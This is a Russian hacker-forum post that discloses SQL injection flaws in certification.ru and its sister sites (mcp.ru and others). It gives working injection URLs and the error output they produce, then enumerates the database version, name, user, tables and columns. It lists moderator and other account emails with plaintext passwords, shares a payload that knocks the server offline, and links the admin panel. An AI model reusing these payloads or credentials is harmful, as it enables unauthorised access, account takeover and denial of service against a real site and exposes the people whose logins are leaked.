Форум АНТИЧАТ - Показать сообщение отдельно

Сайт

http://www.certification.ru

Он же

http://www.mcp.ru , http://www.ccna.ru , http://www.ccnp.ru , http://www.cna.ru , http://www.cne.ru и http://www.mcsd.ru.

http://www.certification.ru/cgi-bin/userinfo.cgi?x_offset=20'&x_limit=20&fio=&email=&n ick=&certs=&city=

Цитата:

ERROR: DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 20' at line 1 at
/www/ru.certification/w2api/modules/queries.pm line 44.
select * from users order by crating desc, fio limit 20', 20: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', 20' at line 1 at
/www/ru.certification/w2api/modules/queries.pm line 44.
String found where operator expected at (eval 15) line 1, at end of line (Missing operator before ?)
/www/ru.certification/cgi-bin/userinfo.cgi: parser, calculate line 328 [from = @@global.Offset@@ + 1]: Can't find string terminator "'" anywhere before EOF at (eval 15) line 1.
String found where operator expected at (eval 16) line 1, at end of line (Missing operator before ?)
/www/ru.certification/cgi-bin/userinfo.cgi: parser, calculate line 329 [till = @@global.Offset@@ + @@global.Limit@@]:
Can't find string terminator "'" anywhere before EOF at (eval 16) line 1.
Can't use an undefined value as a HASH reference at /www/ru.certification/cgi-bin/userinfo.cgi line 111.

FATAL ERROR:

http://www.mcp.ru/labmarket/searchresult.html?type=resu'me&scheme=sea_lab&sal1 =&sal2=&ospeciality=&city=&ocity=&spec=

Цитата:

—UT.Ђ)S..?UTadmintemplatesя™UTconfigА UT extentionsЯЎUTlabmarkettemplatesяўUT
mailtemplatesЂяЈUTmodulesЁUTordertemplatesя© UTpartnertemplatesЂячЂT templatesСЯшЂT
usertemplatesЂяцVTsuppliers.conf6нVT owner.confхVTШ shop.confцVTД.suppliers.conf.IX99lN

http://www.mcp.ru/labmarket/fullvacancy.html?id=10662+AND+VERSION()+like+'%' и т.д. подбором...

Версия "мускула": 4.1.14
Имя БД: certification
Имя пользователя БД: cert_localhost

В БД есть таблицы users и moderators.
Таблица users содержит поля: id, fio, login, city, nick, sex, url, icq, showemail, sendemail, birth, pos, workplace, certs.
Таблица moderators содержит поля: email, id, city, url.

Модераторские аккаунты:

Код:

adminx@yandex.ru:assa
xcosmic@gmail.com:JdsBPsQ

Просто "блатные" аккаунты:

Код:

lenka@education.ru:lenka
club@certification.ru:DPSrq]pH?7N({XRm>*7C
admin@xpoint.ru:q

http://www.mcp.ru/cgi-bin/forum.cgi?action=thread&id=26348+OR+1 - DOS-атака, сервак ложится надолго :-)

http://www.mcp.ru/admin/ - Админка